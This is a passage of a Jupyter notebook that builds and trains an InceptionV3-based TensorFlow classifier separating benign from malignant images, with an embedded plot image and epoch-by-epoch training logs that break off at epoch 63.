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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "batch = next(iter(valid_ds))\n", + "\n", + "def show_batch(batch):\n", + " plt.figure(figsize=(12,12))\n", + " for n in range(25):\n", + " ax = plt.subplot(5,5,n+1)\n", + " plt.imshow(batch[0][n])\n", + " plt.title(class_names[batch[1][n].numpy()].title())\n", + " plt.axis('off')\n", + " \n", + "show_batch(batch)" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "brz9lVkookRx", + "outputId": "c5d3f8de-9d18-4e78-bb9d-8893fe3cad07" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Model: \"sequential\"\n", + "_________________________________________________________________\n", + " Layer (type) Output Shape Param # \n", + "=================================================================\n", + " keras_layer (KerasLayer) (None, 2048) 21802784 \n", + " \n", + " dense (Dense) (None, 1) 2049 \n", + " \n", + "=================================================================\n", + "Total params: 21,804,833\n", + "Trainable params: 2,049\n", + "Non-trainable params: 21,802,784\n", + "_________________________________________________________________\n" + ] + } + ], + "source": [ + "# building the model\n", + "# InceptionV3 model & pre-trained weights\n", + "module_url = \"https://tfhub.dev/google/tf2-preview/inception_v3/feature_vector/4/"\n", + "m = tf.keras.Sequential([\n", + " hub.KerasLayer(module_url, output_shape=[2048], trainable=False),\n", + " tf.keras.layers.Dense(1, activation=\"sigmoid\")\n", + "])\n", + "\n", + "m.build([None, 299, 299, 3])\n", + "m.compile(loss=\"binary_crossentropy\", optimizer=optimizer, metrics=[\"accuracy\"])\n", + "m.summary()" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "uUEJ9zVKoloS", + "outputId": "a218a2ee-1c4f-41fc-83b7-fc603b06283f" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Epoch 1/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.4572 - accuracy: 0.7772\n", + "Epoch 1: val_loss improved from inf to 0.55681, saving model to benign-vs-malignant_64_rmsprop_0.557.h5\n", + "31/31 [==============================] - 178s 3s/step - loss: 0.4572 - accuracy: 0.7772 - val_loss: 0.5568 - val_accuracy: 0.7891\n", + "Epoch 2/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.4020 - accuracy: 0.8130\n", + "Epoch 2: val_loss improved from 0.55681 to 0.48952, saving model to benign-vs-malignant_64_rmsprop_0.490.h5\n", + "31/31 [==============================] - 9s 286ms/step - loss: 0.4020 - accuracy: 0.8130 - val_loss: 0.4895 - val_accuracy: 0.8125\n", + "Epoch 3/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3823 - accuracy: 0.8266\n", + "Epoch 3: val_loss improved from 0.48952 to 0.47676, saving model to benign-vs-malignant_64_rmsprop_0.477.h5\n", + "31/31 [==============================] - 8s 267ms/step - loss: 0.3823 - accuracy: 0.8266 - val_loss: 0.4768 - val_accuracy: 0.8047\n", + "Epoch 4/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3637 - accuracy: 0.8251\n", + "Epoch 4: val_loss did not improve from 0.47676\n", + "31/31 [==============================] - 8s 254ms/step - loss: 0.3637 - accuracy: 0.8251 - val_loss: 0.5025 - val_accuracy: 0.7812\n", + "Epoch 5/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3633 - accuracy: 0.8387\n", + "Epoch 5: val_loss improved from 0.47676 to 0.45733, saving model to benign-vs-malignant_64_rmsprop_0.457.h5\n", + "31/31 [==============================] - 9s 289ms/step - loss: 0.3633 - accuracy: 0.8387 - val_loss: 0.4573 - val_accuracy: 0.7891\n", + "Epoch 6/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3477 - accuracy: 0.8432\n", + "Epoch 6: val_loss did not improve from 0.45733\n", + "31/31 [==============================] - 8s 266ms/step - loss: 0.3477 - accuracy: 0.8432 - val_loss: 0.4644 - val_accuracy: 0.7734\n", + "Epoch 7/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3419 - accuracy: 0.8463\n", + "Epoch 7: val_loss did not improve from 0.45733\n", + "31/31 [==============================] - 9s 279ms/step - loss: 0.3419 - accuracy: 0.8463 - val_loss: 0.4624 - val_accuracy: 0.7812\n", + "Epoch 8/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3402 - accuracy: 0.8493\n", + "Epoch 8: val_loss improved from 0.45733 to 0.42326, saving model to benign-vs-malignant_64_rmsprop_0.423.h5\n", + "31/31 [==============================] - 9s 292ms/step - loss: 0.3402 - accuracy: 0.8493 - val_loss: 0.4233 - val_accuracy: 0.7969\n", + "Epoch 9/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3494 - accuracy: 0.8438\n", + "Epoch 9: val_loss improved from 0.42326 to 0.40612, saving model to benign-vs-malignant_64_rmsprop_0.406.h5\n", + "31/31 [==============================] - 9s 279ms/step - loss: 0.3494 - accuracy: 0.8438 - val_loss: 0.4061 - val_accuracy: 0.8281\n", + "Epoch 10/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3237 - accuracy: 0.8564\n", + "Epoch 10: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.3237 - accuracy: 0.8564 - val_loss: 0.4904 - val_accuracy: 0.7500\n", + "Epoch 11/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3242 - accuracy: 0.8543\n", + "Epoch 11: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.3242 - accuracy: 0.8543 - val_loss: 0.4568 - val_accuracy: 0.7891\n", + "Epoch 12/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3337 - accuracy: 0.8473\n", + "Epoch 12: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 258ms/step - loss: 0.3337 - accuracy: 0.8473 - val_loss: 0.4702 - val_accuracy: 0.8125\n", + "Epoch 13/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3350 - accuracy: 0.8453\n", + "Epoch 13: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 258ms/step - loss: 0.3350 - accuracy: 0.8453 - val_loss: 0.4289 - val_accuracy: 0.8203\n", + "Epoch 14/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3050 - accuracy: 0.8649\n", + "Epoch 14: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 258ms/step - loss: 0.3050 - accuracy: 0.8649 - val_loss: 0.4649 - val_accuracy: 0.7812\n", + "Epoch 15/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3208 - accuracy: 0.8553\n", + "Epoch 15: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.3208 - accuracy: 0.8553 - val_loss: 0.4498 - val_accuracy: 0.8203\n", + "Epoch 16/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3111 - accuracy: 0.8604\n", + "Epoch 16: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.3111 - accuracy: 0.8604 - val_loss: 0.4252 - val_accuracy: 0.7969\n", + "Epoch 17/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3210 - accuracy: 0.8574\n", + "Epoch 17: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.3210 - accuracy: 0.8574 - val_loss: 0.4702 - val_accuracy: 0.7734\n", + "Epoch 18/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3028 - accuracy: 0.8765\n", + "Epoch 18: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.3028 - accuracy: 0.8765 - val_loss: 0.4752 - val_accuracy: 0.7734\n", + "Epoch 19/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3036 - accuracy: 0.8669\n", + "Epoch 19: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 258ms/step - loss: 0.3036 - accuracy: 0.8669 - val_loss: 0.4204 - val_accuracy: 0.8125\n", + "Epoch 20/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3075 - accuracy: 0.8639\n", + "Epoch 20: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 279ms/step - loss: 0.3075 - accuracy: 0.8639 - val_loss: 0.4451 - val_accuracy: 0.7969\n", + "Epoch 21/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2993 - accuracy: 0.8679\n", + "Epoch 21: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2993 - accuracy: 0.8679 - val_loss: 0.4430 - val_accuracy: 0.7969\n", + "Epoch 22/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2991 - accuracy: 0.8705\n", + "Epoch 22: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2991 - accuracy: 0.8705 - val_loss: 0.4204 - val_accuracy: 0.8047\n", + "Epoch 23/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3090 - accuracy: 0.8684\n", + "Epoch 23: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.3090 - accuracy: 0.8684 - val_loss: 0.4201 - val_accuracy: 0.8125\n", + "Epoch 24/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2859 - accuracy: 0.8770\n", + "Epoch 24: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2859 - accuracy: 0.8770 - val_loss: 0.4652 - val_accuracy: 0.8047\n", + "Epoch 25/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2935 - accuracy: 0.8775\n", + "Epoch 25: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2935 - accuracy: 0.8775 - val_loss: 0.4515 - val_accuracy: 0.7969\n", + "Epoch 26/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2992 - accuracy: 0.8684\n", + "Epoch 26: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2992 - accuracy: 0.8684 - val_loss: 0.4439 - val_accuracy: 0.8047\n", + "Epoch 27/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2932 - accuracy: 0.8740\n", + "Epoch 27: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2932 - accuracy: 0.8740 - val_loss: 0.4450 - val_accuracy: 0.7969\n", + "Epoch 28/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2705 - accuracy: 0.8891\n", + "Epoch 28: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 279ms/step - loss: 0.2705 - accuracy: 0.8891 - val_loss: 0.4545 - val_accuracy: 0.8281\n", + "Epoch 29/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.3051 - accuracy: 0.8750\n", + "Epoch 29: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.3051 - accuracy: 0.8750 - val_loss: 0.4320 - val_accuracy: 0.8203\n", + "Epoch 30/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2916 - accuracy: 0.8730\n", + "Epoch 30: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 276ms/step - loss: 0.2916 - accuracy: 0.8730 - val_loss: 0.4369 - val_accuracy: 0.8125\n", + "Epoch 31/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2837 - accuracy: 0.8735\n", + "Epoch 31: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 276ms/step - loss: 0.2837 - accuracy: 0.8735 - val_loss: 0.4300 - val_accuracy: 0.8047\n", + "Epoch 32/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2712 - accuracy: 0.8906\n", + "Epoch 32: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2712 - accuracy: 0.8906 - val_loss: 0.4716 - val_accuracy: 0.7578\n", + "Epoch 33/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2739 - accuracy: 0.8805\n", + "Epoch 33: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2739 - accuracy: 0.8805 - val_loss: 0.4451 - val_accuracy: 0.8047\n", + "Epoch 34/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2800 - accuracy: 0.8760\n", + "Epoch 34: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2800 - accuracy: 0.8760 - val_loss: 0.4490 - val_accuracy: 0.7969\n", + "Epoch 35/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2755 - accuracy: 0.8861\n", + "Epoch 35: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 261ms/step - loss: 0.2755 - accuracy: 0.8861 - val_loss: 0.4165 - val_accuracy: 0.8203\n", + "Epoch 36/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2857 - accuracy: 0.8750\n", + "Epoch 36: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2857 - accuracy: 0.8750 - val_loss: 0.4541 - val_accuracy: 0.7734\n", + "Epoch 37/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2806 - accuracy: 0.8826\n", + "Epoch 37: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2806 - accuracy: 0.8826 - val_loss: 0.4556 - val_accuracy: 0.8125\n", + "Epoch 38/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2637 - accuracy: 0.8916\n", + "Epoch 38: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2637 - accuracy: 0.8916 - val_loss: 0.4860 - val_accuracy: 0.7656\n", + "Epoch 39/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2749 - accuracy: 0.8876\n", + "Epoch 39: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2749 - accuracy: 0.8876 - val_loss: 0.4398 - val_accuracy: 0.8047\n", + "Epoch 40/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2701 - accuracy: 0.8926\n", + "Epoch 40: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2701 - accuracy: 0.8926 - val_loss: 0.4391 - val_accuracy: 0.8281\n", + "Epoch 41/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2720 - accuracy: 0.8846\n", + "Epoch 41: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 261ms/step - loss: 0.2720 - accuracy: 0.8846 - val_loss: 0.4706 - val_accuracy: 0.8125\n", + "Epoch 42/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2778 - accuracy: 0.8866\n", + "Epoch 42: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2778 - accuracy: 0.8866 - val_loss: 0.4745 - val_accuracy: 0.7891\n", + "Epoch 43/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2762 - accuracy: 0.8831\n", + "Epoch 43: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2762 - accuracy: 0.8831 - val_loss: 0.4988 - val_accuracy: 0.8047\n", + "Epoch 44/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2647 - accuracy: 0.8841\n", + "Epoch 44: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2647 - accuracy: 0.8841 - val_loss: 0.4365 - val_accuracy: 0.8125\n", + "Epoch 45/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2729 - accuracy: 0.8871\n", + "Epoch 45: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2729 - accuracy: 0.8871 - val_loss: 0.4540 - val_accuracy: 0.8047\n", + "Epoch 46/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2540 - accuracy: 0.8977\n", + "Epoch 46: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 276ms/step - loss: 0.2540 - accuracy: 0.8977 - val_loss: 0.4551 - val_accuracy: 0.8203\n", + "Epoch 47/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2649 - accuracy: 0.8891\n", + "Epoch 47: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2649 - accuracy: 0.8891 - val_loss: 0.4835 - val_accuracy: 0.7969\n", + "Epoch 48/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2613 - accuracy: 0.8972\n", + "Epoch 48: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2613 - accuracy: 0.8972 - val_loss: 0.4676 - val_accuracy: 0.7500\n", + "Epoch 49/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2691 - accuracy: 0.8846\n", + "Epoch 49: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2691 - accuracy: 0.8846 - val_loss: 0.4488 - val_accuracy: 0.8203\n", + "Epoch 50/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2502 - accuracy: 0.8997\n", + "Epoch 50: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2502 - accuracy: 0.8997 - val_loss: 0.4149 - val_accuracy: 0.8125\n", + "Epoch 51/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2632 - accuracy: 0.8896\n", + "Epoch 51: val_loss did not improve from 0.40612\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2632 - accuracy: 0.8896 - val_loss: 0.4606 - val_accuracy: 0.8203\n", + "Epoch 52/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2626 - accuracy: 0.8942\n", + "Epoch 52: val_loss improved from 0.40612 to 0.39894, saving model to benign-vs-malignant_64_rmsprop_0.399.h5\n", + "31/31 [==============================] - 9s 293ms/step - loss: 0.2626 - accuracy: 0.8942 - val_loss: 0.3989 - val_accuracy: 0.8203\n", + "Epoch 53/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2581 - accuracy: 0.8916\n", + "Epoch 53: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2581 - accuracy: 0.8916 - val_loss: 0.4447 - val_accuracy: 0.8047\n", + "Epoch 54/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2616 - accuracy: 0.8871\n", + "Epoch 54: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2616 - accuracy: 0.8871 - val_loss: 0.4669 - val_accuracy: 0.7812\n", + "Epoch 55/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2447 - accuracy: 0.9047\n", + "Epoch 55: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2447 - accuracy: 0.9047 - val_loss: 0.4541 - val_accuracy: 0.8203\n", + "Epoch 56/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2528 - accuracy: 0.8957\n", + "Epoch 56: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 276ms/step - loss: 0.2528 - accuracy: 0.8957 - val_loss: 0.4566 - val_accuracy: 0.8125\n", + "Epoch 57/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2607 - accuracy: 0.8896\n", + "Epoch 57: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 277ms/step - loss: 0.2607 - accuracy: 0.8896 - val_loss: 0.4610 - val_accuracy: 0.7891\n", + "Epoch 58/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2421 - accuracy: 0.9032\n", + "Epoch 58: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2421 - accuracy: 0.9032 - val_loss: 0.4054 - val_accuracy: 0.8203\n", + "Epoch 59/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2625 - accuracy: 0.8906\n", + "Epoch 59: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 259ms/step - loss: 0.2625 - accuracy: 0.8906 - val_loss: 0.5048 - val_accuracy: 0.7812\n", + "Epoch 60/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2352 - accuracy: 0.9017\n", + "Epoch 60: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 279ms/step - loss: 0.2352 - accuracy: 0.9017 - val_loss: 0.4740 - val_accuracy: 0.7969\n", + "Epoch 61/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2719 - accuracy: 0.8831\n", + "Epoch 61: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 9s 278ms/step - loss: 0.2719 - accuracy: 0.8831 - val_loss: 0.4452 - val_accuracy: 0.8125\n", + "Epoch 62/100\n", + "31/31 [==============================] - ETA: 0s - loss: 0.2381 - accuracy: 0.9032\n", + "Epoch 62: val_loss did not improve from 0.39894\n", + "31/31 [==============================] - 8s 260ms/step - loss: 0.2381 - accuracy: 0.9032 - val_loss: 0.4981 - val_accuracy: 0.8203\n", + "Epoch 63/100\n", + "31/31 [==============================] - ETA: 0s - loss: 